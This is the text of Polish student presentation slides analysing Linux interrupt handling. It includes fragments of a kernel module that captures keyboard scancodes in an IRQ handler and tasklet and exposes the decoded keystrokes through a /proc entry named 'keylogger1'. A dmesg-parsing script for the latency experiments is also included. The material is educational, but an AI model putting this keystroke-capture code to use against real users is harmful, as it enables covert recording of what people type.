Analiza wywołania i przebiegu przerwań w systemie Linux Łukasz Mozgowoj - mlukasz@student.agh.edu.pl Mateusz Leśniak - lmateusz@student.agh.edu.pl
Czym jest przerwanie ? W systemie Linux, jest to sygnał wysłany procesorowi: Przez sterownik przerwań jakiegoś urządzenia - hardware interrupt Przez sam procesor z powodu błędów w wykonywanym kodzie (błędne instrukcje, odwoływanie się do pamięci w sposób niedopuszczalny, wywołania systemowe itp.) - exception
PIC - Programmable Interrupt Controller Obsługa przerwań PIC - Programmable Interrupt Controller
Schemat obsługi przerwań
Obsługa przerwań dla klawiatury Top Half Bottom Half irqreturn_t irq_keyboard_handler(int irq, void * data) { scancode = inb(0x0060); //Schedule tasklet_schedule(&task); long curTime = current_kernel_time().tv_nsec; inTime[interrupt_count % 64] = curTime; ++interrupt_count; return IRQ_NONE; } static void read_char(unsigned long data) { if (!(scancode & 0x80)) { handlingTime = current_kernel_time().tv_nsec-((long *)data) [tasklet_invoke_count % 64]; printk(KERN_INFO "MODULE 1: %ld\n", handlingTime); if ((scancode & 0x7F) == 0x48) buffer_add_string("${UP}"); else if ((scancode & 0x7F) == 0x4b) buffer_add_string("${LEFT}"); else if ((scancode & 0x7F) == 0x4d) buffer_add_string("${RIGHT}"); else if ((scancode & 0x7F) == 0x50) buffer_add_string("${DOWN}"); else if (upper == false) { if ((scancode & 0x7F) == 0x01) buffer_add_string("${ESC}"); else buffer_add_char(keymap[scancode & 0x7F]); } else buffer_add_char(keymap_upper[scancode & 0x7F]); } ++tasklet_invoke_count; DECLARE_TASKLET(task, read_char, (unsigned long) &inTime);
create_proc_read_entry("keylogger1", 0, NULL, read_buffer, NULL); void buffer_add_char(char c) { buffer[end] = c; end = (end + 1) % BUFFER_SIZE; if(!buffer_is_empty() && end == start){ start = (start + 1) % BUFFER_SIZE; } else { empty = NO; } char buffer_get(void){ if(!buffer_is_empty()){ char ret = buffer[start]; if(start == end){ empty = YES; return ret; return 0; int read_buffer(char *page, char **start, off_t offset, int count, int *eof, void *data) char tmp_buffer[BUFFER_SIZE+1]; int i = -1; while(!buffer_is_empty()){ tmp_buffer[++i] = buffer_get(); tmp_buffer[++i] = 0; return sprintf(page, "%s\n", tmp_buffer); Ring buffer /proc/keylogger create_proc_read_entry("keylogger1", 0, NULL, read_buffer, NULL);
Eksperymenty 1. Załadowanie modułu dla obsługi przerwań klawiatury: - Przyciskanie klawisza w losowych odstępach czasu - Przytrzymanie klawisza wciśniętego przez pewien czas 2 .Załadowanie modułu dla obsługi karty sieciowej - Bez próby wywłaszczania przez klawiaturę - Z próbą wywłaszczania przez klawiaturę 3. Załadowanie dwóch modułów dla obsługi klawiatury w trybie IRQF_SHARED
Odczytywanie wyników ping_regex = re.compile("^\[\s*\d+\.\d+\] ping : \d+$") module1_regex = re.compile("^\[\s*\d+\.\d+\] MODULE 1: \d+$") module2_regex = re.compile("^\[\s*\d+\.\d+\] MODULE 2: \d+$") if __name__ == '__main__': dmesg_data = exec_process(['dmesg'], True) regex = None if(len(sys.argv) != 2): print "usage: ./dmesg_reader <ping>|<module1>|<module2>" exit(-1) else: if sys.argv[1] == 'ping': regex = ping_regex elif sys.argv[1] == 'module1': regex = module1_regex elif sys.argv[1] == 'module2': regex = module2_regex for line in dmesg_data.split('\n'): if regex.match(line): _time = line.split(":")[1].strip(" ") print _time
Losowe wciskanie klawisza
Przytrzymany jeden klawisz
Klawiatura + włączony ping
Ping
Wywłaszczany ping
Dwa handlery klawiatury
Pytania ?